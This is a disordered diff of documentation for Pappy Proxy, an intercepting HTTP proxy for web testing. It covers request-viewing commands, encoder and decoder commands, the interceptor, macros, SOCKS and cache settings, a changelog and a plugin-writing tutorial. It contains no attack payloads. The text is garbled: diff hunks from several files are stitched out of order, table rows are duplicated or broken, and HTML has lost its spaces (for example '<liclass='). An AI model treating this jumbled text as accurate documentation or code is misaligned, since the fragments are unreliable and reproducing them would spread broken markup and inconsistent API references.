### Text just appeared over my prompt! What do I do?!
Unfortunately I've been a bit lazy when it comes to printing errors to the terminal. A lot of stuff is just printed to stdout using `print`. This has the side effect of printing over your input. I'm very sorry and I'm trying to work on better solutions, but for now:
* Hit Ctl-L to clear the terminal. Your input will be saved.
### Why does my request have an id of `--`?!?!
You can't do anything with a request/response until it is decoded and saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of `--`. So just wait a little bit and it will get an ID you can use.
@ -1278,6 +1284,9 @@ Changelog
---------
The boring part of the readme
* 0.2.12
* Add error handling for if creating a connection fails
| ``nocolor`` | Run a command and print its output without ASCII escape codes. Intended for use when redirecting output to a file. Should only be used with text and not with binary data. |
| ``ls [a|<num>``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. |
| ``viq <id(s)>`` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. |
| ``vfs <id(s)>`` | view\_full\_response, vfs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. |
| ``vhs <id(s)>`` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. |
| ``ls [a|<num>``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. |
| ``sm`` [p] | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. This has to go through all of the requests in the current context so it may be slow. If the ``p`` option is given, it will print the paths as paths rather than as a tree. |
| ``viq <id(s)>`` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. |
| ``vbq <id(s)>`` | view\_request\_bytes, vbq | [V]iew [B]ytes of Re[Q]uest, prints the full request including headers and data without coloring or additional newlines. Use this if you want to write a request to a file. |
| ``vfs <id(s)>`` | view\_full\_response, vfs, kjs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. |
| ``vhs <id(s)>`` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. |
| ``vbs <id(s)>`` | view\_response\_bytes, vbs | [V]iew [B]ytes of Re[S]ponse, prints the full response including headers and data without coloring or additional newlines. Use this if you want to write a response to a file. |
| ``pps <format> <id(s)>`` | pretty\_print\_response, pps | Pretty print a response with a specific format. See the table below for a list of formats. |
| ``pprm <id(s)>`` | print\_params, pprm | Print a summary of the parameters submitted with the request. It will include URL params, POST params, and/or cookies |
| ``pri [ct] [key(s)] | param_info, pri | Print a summary of the parameters and values submitted by in-context requests. You can pass in keys to limit which values will be shown. If you also provide``\ ct\ ``as the first argument, it will include any keys that are passed as arguments. | |``\ watch\` | watch | Print requests and responses in real time as they pass through the proxy. |
| ``gzip_decode`` | ``gzip_decode``, ``gzd`` | Gzip decompress a string. Probably won't work too well since there's not a great way to get binary data passed in as an argument. I'm working on this. |
| ``base64_decode_raw`` | ``base64_decode_raw``, ``b64dr`` | Same as ``base64_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``base64_encode_raw`` | ``base64_encode_raw``, ``b64er`` | Same as ``base64_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``asciihex_decode_raw`` | ``asciihex_decode_raw``, ``ahdr`` | Same as ``asciihex_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``asciihex_encode_raw`` | ``asciihex_encode_raw``, ``aher`` | Same as ``asciihex_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``html_decode_raw`` | ``html_decode_raw``, ``htmldr`` | Same as ``html_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``html_encode_raw`` | ``html_encode_raw``, ``htmler`` | Same as ``html_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``url_decode_raw`` | ``url_decode_raw``, ``urldr`` | Same as ``url_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``url_encode_raw`` | ``url_encode_raw``, ``urler`` | Same as ``url_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``gzip_decode_raw`` | ``gzip_decode_raw``, ``gzdr`` | Same as ``gzip_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| ``gzip_encode_raw`` | ``gzip_encode_raw``, ``gzer`` | Same as ``gzip_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. |
| cache\_size | The number of requests from history that will be included in memory at any given time. Set to -1 to keep everything in memory. See the request cache section for more info. |
@ -272,10 +272,10 @@ Using defer.inlineCallbacks With a Command
.. note::
This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.
Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function::
Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.util.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function::
import shlex
from pappyproxy.console import load_reqlist
from pappyproxy.util import load_reqlist
def print_hosts(line):
args = shlex.split(line)
@ -309,10 +309,10 @@ And we run it::
iteration over non-sequence
pappy>
Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this::
Iteration over a non-sequence? what? Well, :func:`pappyproxy.util.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this::
import shlex
from pappyproxy.console import load_reqlist
from pappyproxy.util import load_reqlist
from twisted.internet import defer
@defer.inlineCallbacks
@ -336,7 +336,7 @@ However, the console assumes that any functions it calls will be blocking. As a
import shlex
import crochet
from pappyproxy.console import load_reqlist
from pappyproxy.util import load_reqlist
from twisted.internet import defer
@crochet.wait_for(timeout=None)
@ -394,7 +394,7 @@ Here is an example plugin for storing the user-agent (if it exists) in the ``plu
import shlex
from twisted.internet import defer
from pappyproxy.console import load_reqlist
from pappyproxy.util import load_reqlist
from pappyproxy.plugin import main_context
from pappyproxy.util import PappyException
@ -435,8 +435,7 @@ Here is an example plugin for storing the user-agent (if it exists) in the ``plu
Useful Functions
----------------
* Load a request by id: :func:`pappyproxy.http.Request.load_request`
* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string`
See :mod:`pappyproxy.plugin` and :mod:`pappyproxy.util` for useful functions
<liclass="toctree-l2"><aclass="reference internal"href="overview.html#generating-pappy-s-ca-cert">Generating Pappy’s CA Cert</a></li>
<liclass="toctree-l2"><aclass="reference internal"href="overview.html#browsing-recorded-requests-responses">Browsing Recorded Requests/Responses</a></li>
@ -84,6 +84,8 @@ contributing code and plugins are extremely easy to integrate as a core
feature. So you can also contribute by writing a plugin and letting me
know about it. You can find out more by looking at <aclass="reference external"href="https://roglew.github.io/pappy-proxy/pappyplugins.html">the official plugin
docs</a>.</p>
<p>You can find ideas for features to add on <aclass="reference external"href="https://roglew.github.io/pappy-proxy/contributing.html">the contributing page in the
docs</a>.</p>
</div>
</div>
<divclass="section"id="how-to-use-it">
@ -94,7 +96,7 @@ docs</a>.</p>
<codeclass="docutils literal"><spanclass="pre">pip</span></code> or some other command that can handle a <codeclass="docutils literal"><spanclass="pre">setup.py</span></code> with
requirements. Once the requirements are installed, you can check that it
installed correctly by running <codeclass="docutils literal"><spanclass="pre">pappy</span><spanclass="pre">-l</span></code> to start the proxy.</p>
<p>If you want to write the contents of a request or response to a file,
don’t use <codeclass="docutils literal"><spanclass="pre">nocolor</span></code> with <codeclass="docutils literal"><spanclass="pre">vfq</span></code> or <codeclass="docutils literal"><spanclass="pre">vfs</span></code>. Use just the <codeclass="docutils literal"><spanclass="pre">vbq</span></code> or
<td>Run a command and print its output without ASCII escape codes. Intended for use when redirecting output to a file. Should only be used with text and not with binary data.</td>
<h2>Generating Pappy’s CA Cert<aclass="headerlink"href="#generating-pappy-s-ca-cert"title="Permalink to this headline">¶</a></h2>
<p>In order to intercept and modify requests to sites that use HTTPS, you
@ -259,9 +387,9 @@ argument to have it put the generated certs in a different directory.</p>
<p>The following commands can be used to view requests and responses</p>
<tableborder="1"class="docutils">
<colgroup>
<colwidth="40%"/>
<colwidth="4%"/>
<colwidth="7%"/>
<colwidth="89%"/>
<colwidth="56%"/>
</colgroup>
<theadvalign="bottom">
<trclass="row-odd"><thclass="head">Command</th>
@ -274,30 +402,74 @@ argument to have it put the generated certs in a different directory.</p>
<td>list, ls</td>
<td>List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass ‘a’ or ‘all’ as an argument, it will print all the requests in the current context. If you pass a number “n” as an argument, it will print the n most recent requests in the current context.</td>
<td>Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response.</td>
<td>Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. This has to go through all of the requests in the current context so it may be slow. If the <codeclass="docutils literal"><spanclass="pre">p</span></code> option is given, it will print the paths as paths rather than as a tree.</td>
<td>[V]iew [B]ytes of Re[Q]uest, prints the full request including headers and data without coloring or additional newlines. Use this if you want to write a request to a file.</td>
<td>[V]iew [B]ytes of Re[S]ponse, prints the full response including headers and data without coloring or additional newlines. Use this if you want to write a response to a file.</td>
<td>Print requests and responses in real time as they pass through the proxy.</td>
</tr>
</tbody>
</table>
<p>Available formats for <codeclass="docutils literal"><spanclass="pre">ppq</span></code> and <codeclass="docutils literal"><spanclass="pre">pps</span></code> commands:</p>
<p>Where <codeclass="docutils literal"><spanclass="pre"><field></span></code> is some part of the request/response, <codeclass="docutils literal"><spanclass="pre"><comparer></span></code>
is some comparison to <codeclass="docutils literal"><spanclass="pre"><value></span></code>. For example, if you wanted a filter
that only matches requests to <codeclass="docutils literal"><spanclass="pre">target.org</span></code>, you could use the
<td>Gzip decompress a string. Probably won’t work too well since there’s not a great way to get binary data passed in as an argument. I’m working on this.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">base64_decode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">base64_encode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">asciihex_decode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">asciihex_encode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">html_decode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">html_encode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">url_decode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">url_encode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">gzip_decode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Same as <codeclass="docutils literal"><spanclass="pre">gzip_encode</span></code> but will not print a hexdump if it contains non-printable characters. It is suggested you use <codeclass="docutils literal"><spanclass="pre">></span></code> to redirect the output to a file.</td>
<td>Take in a unix timestamp and print a human readable timestamp</td>
</tr>
</tbody>
</table>
</div>
<divclass="section"id="interceptor">
<h2>Interceptor<aclass="headerlink"href="#interceptor"title="Permalink to this headline">¶</a></h2>
<p>This feature is like Burp’s proxy with “Intercept Mode” turned on,
@ -823,7 +1153,7 @@ default to <code class="docutils literal"><span class="pre">vi</span></code>.</p
</tr>
</tbody>
</table>
<divclass="highlight-python"><divclass="highlight"><pre>Intercept both requests and responses:
<divclass="highlight-python"><divclass="highlight"><pre><span></span>Intercept both requests and responses:
> ic requests responses
> ic req rsp
@ -901,7 +1231,7 @@ make automated requests through the proxy and save them to the data
file. A macro file is any python script file in the current directory
that is in the form <codeclass="docutils literal"><spanclass="pre">macro_<name>.py</span></code>. An example project directory
with macros would be:</p>
<divclass="highlight-python"><divclass="highlight"><pre>$ ls -l
<divclass="highlight-python"><divclass="highlight"><pre><span></span>$ ls -l
-rw-r--r-- 1 scaryhacker wheel 150 Nov 26 11:17 config.json
-rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db
-rw-r--r-- 1 scaryhacker wheel 471 Nov 26 18:42 macro_blank.py
@ -914,15 +1244,15 @@ with macros would be:</p>
<codeclass="docutils literal"><spanclass="pre">test</span></code> macro. A macro script is any python script that defines a
<codeclass="docutils literal"><spanclass="pre">run_macro(args)</span></code> function and a <codeclass="docutils literal"><spanclass="pre">MACRO_NAME</span></code> variable. For example,
@ -1627,6 +1961,104 @@ you can write out commands that you use regularly but may not be worth
creating a dedicated plugin for.</p>
</div>
</div>
<divclass="section"id="global-settings">
<h2>Global Settings<aclass="headerlink"href="#global-settings"title="Permalink to this headline">¶</a></h2>
<p>There are some settings that apply to Pappy as a whole and are stored in
<codeclass="docutils literal"><spanclass="pre">~/.pappy/global_config.json</span></code>. These settings are generally for tuning
performance or modifying behavior on a system-wide level. No information
about projects is put in here since it is world readable. You can
technically add settings in here for plugins that you write, but if it’s
at all possible, please keep settings in the normal project config.</p>
<p>Settings included in <codeclass="docutils literal"><spanclass="pre">~/.pappy/global_config.json</span></code>:</p>
<tableborder="1"class="docutils">
<colgroup>
<colwidth="8%"/>
<colwidth="92%"/>
</colgroup>
<theadvalign="bottom">
<trclass="row-odd"><thclass="head">Setting</th>
<thclass="head">Description</th>
</tr>
</thead>
<tbodyvalign="top">
<trclass="row-even"><td>cache_size</td>
<td>The number of requests from history that will be included in memory at any given time. Set to -1 to keep everything in memory. See the request cache section for more info.</td>
</tr>
</tbody>
</table>
</div>
<divclass="section"id="using-a-socks-server">
<h2>Using a SOCKS Server<aclass="headerlink"href="#using-a-socks-server"title="Permalink to this headline">¶</a></h2>
<p>Pappy allows you to use an upstream SOCKS server. You can do this by
adding a <codeclass="docutils literal"><spanclass="pre">socks_proxy</span></code> value to config.json. You can use the following
<p>To use credentials you add a <codeclass="docutils literal"><spanclass="pre">username</span></code> and <codeclass="docutils literal"><spanclass="pre">password</span></code> value to the
<h3>Request Cache / Memory usage<aclass="headerlink"href="#request-cache-memory-usage"title="Permalink to this headline">¶</a></h3>
<p>For performance reasons, Pappy by default will not store every request
in memory. The cache will store a certain number of the most recently
accessed requests in memory. This means that if you go through all of
history, it could be slow (for example running <codeclass="docutils literal"><spanclass="pre">ls</span><spanclass="pre">a</span></code> or <codeclass="docutils literal"><spanclass="pre">sm</span></code>). If
you have enough RAM to keep everything in memory, you can set the
request cache size to -1 to just keep everything in memory. However,
even if the cache size is unlimited, it still won’t load a request into
memory untill you access it. So if you want to load everything in
memory, run <codeclass="docutils literal"><spanclass="pre">ls</span><spanclass="pre">a</span></code>.</p>
<p>By default, Pappy will cache 2000 requests. This is kind of heavy, but
it’s assumed you’re doing testing on a reasonably specced laptop.
Personally, I live on the edge and use -1 until I run into memory
issues.</p>
</div>
</div>
<divclass="section"id="changelog">
<h2>Changelog<aclass="headerlink"href="#changelog"title="Permalink to this headline">¶</a></h2>
<p>The boring part of the readme</p>
<ulclass="simple">
<li>0.2.7<ul>
<li>boring unit tests</li>
<li>should make future releases more stable I guess</li>
<li>Filters by request/response only headers/body</li>
<li>Transparent host redirection</li>
<li>Some easier to type aliases for common commands</li>
</ul>
</li>
<li>0.2.6<ul>
<li>Fix pip being dumb</li>
<li><codeclass="docutils literal"><spanclass="pre">watch</span></code> command to watch requests/responses in real time</li>
<li>Added <codeclass="docutils literal"><spanclass="pre">pp[qs]</span><spanclass="pre">form</span><spanclass="pre"><id></span></code> to print POST data</li>
<li>Bugfixes</li>
</ul>
</li>
<li>0.2.5<ul>
<li>Requests sent with repeater now are given <codeclass="docutils literal"><spanclass="pre">repeater</span></code> tag</li>
<li>Add ppq and pps commands</li>
<li>Look at the pretty prompt</li>
<li>Bugfixes</li>
</ul>
</li>
<li>0.2.4<ul>
<li>Add command history saving between sessions</li>
<li>Add html encoder/decoder</li>
<li>All the bugs were fixed so I added some more for 0.2.5</li>
<li><aclass="reference internal"href="#i-still-like-burp-but-pappy-looks-interesting-can-i-use-both">I still like Burp, but Pappy looks interesting, can I use both?</a></li>
<li><aclass="reference internal"href="#why-does-my-request-have-an-id-of">Why does my request have an id of <codeclass="docutils literal"><spanclass="pre">--</span></code>?!?!</a></li>
<h3><aclass="toc-backref"href="#id5">Writing a Hello World Plugin</a><aclass="headerlink"href="#writing-a-hello-world-plugin"title="Permalink to this headline">¶</a></h3>
<p>It’s probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a <codeclass="docutils literal"><spanclass="pre">hello</span></code> command and gives an alias <codeclass="docutils literal"><spanclass="pre">hlo</span></code> (we’ll go over all the parts in a second):</p>
<p>Save this as <codeclass="docutils literal"><spanclass="pre">~/.pappy/plugins/hello.py</span></code> and run Pappy. You should have a new <codeclass="docutils literal"><spanclass="pre">hello</span></code> command that prints your message:</p>
<h3><aclass="toc-backref"href="#id6">Passing Arguments to Your Function</a><aclass="headerlink"href="#passing-arguments-to-your-function"title="Permalink to this headline">¶</a></h3>
<p>Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run <codeclass="docutils literal"><spanclass="pre">hello</span><spanclass="pre">foo</span><spanclass="pre">bar</span></code>, in our function line would be “foo bar”. <strong>I suggest using shlex.split(line) to parse multiple arguments</strong>. So let’s update our script to take some arguments:</p>
<h3><aclass="toc-backref"href="#id7">Adding More Aliases</a><aclass="headerlink"href="#adding-more-aliases"title="Permalink to this headline">¶</a></h3>
<p>So now let’s add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into <codeclass="docutils literal"><spanclass="pre">cmd.add_aliases</span></code>. The first element is the real name of the command (what you set with <codeclass="docutils literal"><spanclass="pre">set_cmds</span></code>) and the second value is the alias you want to type. So let’s make it so we can just type <codeclass="docutils literal"><spanclass="pre">ho</span></code> to say hello:</p>
<pclass="last">You must use the actual name of the command that you used in <codeclass="docutils literal"><spanclass="pre">set_cmds</span></code>. You can’t “chain” alieases. As a result, in our example we couldn’t add the alias <codeclass="docutils literal"><spanclass="pre">('hlo',</span><spanclass="pre">'ho')</span></code> to add <codeclass="docutils literal"><spanclass="pre">ho</span></code> as our alias.</p>
<h3><aclass="toc-backref"href="#id8">Adding Another Command</a><aclass="headerlink"href="#adding-another-command"title="Permalink to this headline">¶</a></h3>
<p>So now let’s add a <codeclass="docutils literal"><spanclass="pre">robe_and_wizard_hat</span></code> command. To do this, we will define another function, then add another entry in the dict that is passed to <codeclass="docutils literal"><spanclass="pre">set_cmds</span></code>. The second value in the tuple is the autocomplete function, but we’ll get to that later. For now, just put in <codeclass="docutils literal"><spanclass="pre">None</span></code> to say we don’t have one. We will also add a <codeclass="docutils literal"><spanclass="pre">wh</span></code> alias to it:</p>
<div><codeclass="docutils literal"><spanclass="pre">text</span></code> is the string prefix we are attempting to match: all returned matches must begin with it. <codeclass="docutils literal"><spanclass="pre">line</span></code> is the current input line with leading whitespace removed, <codeclass="docutils literal"><spanclass="pre">begidx</span></code> and <codeclass="docutils literal"><spanclass="pre">endidx</span></code> are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.</div></blockquote>
<p>Let’s let the user to autocomplete some names in our plugin:</p>
<spanclass="k">print</span><spanclass="s">'</span><spanclass="si">%s</span><spanclass="s"> puts on their robe and wizard hat'</span><spanclass="o">%</span><spanclass="n">line</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> puts on their robe and wizard hat'</span><spanclass="o">%</span><spanclass="n">line</span>
<spanclass="k">else</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">'I put on my robe and wizard hat'</span>
<spanclass="k">print</span><spanclass="s1">'I put on my robe and wizard hat'</span>
<h3><aclass="toc-backref"href="#id10">Adding Help</a><aclass="headerlink"href="#adding-help"title="Permalink to this headline">¶</a></h3>
<p>Now let’s say we want to add some help to the command so that when the user runs <codeclass="docutils literal"><spanclass="pre">help</span><spanclass="pre">hello</span></code> they get something useful. To do that, just add a docstring to your function:</p>
<spanclass="k">print</span><spanclass="s">'</span><spanclass="si">%s</span><spanclass="s"> puts on their robe and wizard hat'</span><spanclass="o">%</span><spanclass="n">line</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> puts on their robe and wizard hat'</span><spanclass="o">%</span><spanclass="n">line</span>
<spanclass="k">else</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">'I put on my robe and wizard hat'</span>
<spanclass="k">print</span><spanclass="s1">'I put on my robe and wizard hat'</span>
<pclass="last">This tutorial won’t tell you how to use inlineCallbacks in general. Type “twisted inline callbacks” into google to figure out what they are. This is mainly just a reminder to use the <codeclass="docutils literal"><spanclass="pre">crochet</span></code> wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.</p>
</div>
<p>Since you’re writing a plugin, you’ll probably be using functions which return a deferred. And to keep things readable, you’ll want to use the <codeclass="docutils literal"><spanclass="pre">defer.inlineCallbacks</span></code> function wrapper. Unfortunately, you can’t bind async functions to commands. Luckily, there’s a library called <aclass="reference external"href="https://pypi.python.org/pypi/crochet">crochet</a> which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let’s write a plugin to call <aclass="reference internal"href="pappyproxy.html#pappyproxy.console.load_reqlist"title="pappyproxy.console.load_reqlist"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.console.load_reqlist()</span></code></a> to print out some requests’ hosts. Let’s start by pretending it’s a normal function:</p>
<p>Since you’re writing a plugin, you’ll probably be using functions which return a deferred. And to keep things readable, you’ll want to use the <codeclass="docutils literal"><spanclass="pre">defer.inlineCallbacks</span></code> function wrapper. Unfortunately, you can’t bind async functions to commands. Luckily, there’s a library called <aclass="reference external"href="https://pypi.python.org/pypi/crochet">crochet</a> which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let’s write a plugin to call <aclass="reference internal"href="pappyproxy.html#pappyproxy.util.load_reqlist"title="pappyproxy.util.load_reqlist"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.util.load_reqlist()</span></code></a> to print out some requests’ hosts. Let’s start by pretending it’s a normal function:</p>
<spanclass="n">reqs</span><spanclass="o">=</span><spanclass="n">load_reqlist</span><spanclass="p">(</span><spanclass="n">args</span><spanclass="p">[</span><spanclass="mi">0</span><spanclass="p">])</span><spanclass="c"># It's supposed to return a list of requests, right?</span>
<spanclass="n">reqs</span><spanclass="o">=</span><spanclass="n">load_reqlist</span><spanclass="p">(</span><spanclass="n">args</span><spanclass="p">[</span><spanclass="mi">0</span><spanclass="p">])</span><spanclass="c1"># It's supposed to return a list of requests, right?</span>
<spanclass="k">print</span><spanclass="s">'The host for request </span><spanclass="si">%s</span><spanclass="s"> is: </span><spanclass="si">%s</span><spanclass="s">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s1">'The host for request </span><spanclass="si">%s</span><spanclass="s1"> is: </span><spanclass="si">%s</span><spanclass="s1">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks
stop = self.onecmd(statement)
@ -388,9 +392,9 @@ iteration over non-sequence
pappy>
</pre></div>
</div>
<p>Iteration over a non-sequence? what? Well, <aclass="reference internal"href="pappyproxy.html#pappyproxy.console.load_reqlist"title="pappyproxy.console.load_reqlist"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.console.load_reqlist()</span></code></a> doesn’t actually return a list of requests. It returns a deferred which returns a list of requests. I’m not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an <codeclass="docutils literal"><spanclass="pre">inlineCallbacks</span></code> wrapper on the function and <codeclass="docutils literal"><spanclass="pre">yield</span></code> the result of the function. Now it looks like this:</p>
<p>Iteration over a non-sequence? what? Well, <aclass="reference internal"href="pappyproxy.html#pappyproxy.util.load_reqlist"title="pappyproxy.util.load_reqlist"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.util.load_reqlist()</span></code></a> doesn’t actually return a list of requests. It returns a deferred which returns a list of requests. I’m not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an <codeclass="docutils literal"><spanclass="pre">inlineCallbacks</span></code> wrapper on the function and <codeclass="docutils literal"><spanclass="pre">yield</span></code> the result of the function. Now it looks like this:</p>
<spanclass="k">print</span><spanclass="s">'The host for request </span><spanclass="si">%s</span><spanclass="s"> is: </span><spanclass="si">%s</span><spanclass="s">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s1">'The host for request </span><spanclass="si">%s</span><spanclass="s1"> is: </span><spanclass="si">%s</span><spanclass="s1">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
<p>However, the console assumes that any functions it calls will be blocking. As a result, we need to add the <codeclass="docutils literal"><spanclass="pre">crochet.wait_for</span></code> wrapper:</p>
<spanclass="k">print</span><spanclass="s">'The host for request </span><spanclass="si">%s</span><spanclass="s"> is: </span><spanclass="si">%s</span><spanclass="s">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s1">'The host for request </span><spanclass="si">%s</span><spanclass="s1"> is: </span><spanclass="si">%s</span><spanclass="s1">'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">host</span><spanclass="p">)</span>
<h3><aclass="toc-backref"href="#id15">Storing Custom Request Metadata</a><aclass="headerlink"href="#storing-custom-request-metadata"title="Permalink to this headline">¶</a></h3>
<p><aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request"title="pappyproxy.http.Request"><codeclass="xref py py-class docutils literal"><spanclass="pre">pappyproxy.http.Request</span></code></a> objects have a <codeclass="docutils literal"><spanclass="pre">plugin_data</span></code> attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use <codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.http.Request.get_plugin_dict()</span></code> to get a dictionary for a specific name. It will create an entry for that name if it doesn’t exist. I also suggest defining a function plugin-wide for getting the plugin’s data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.</p>
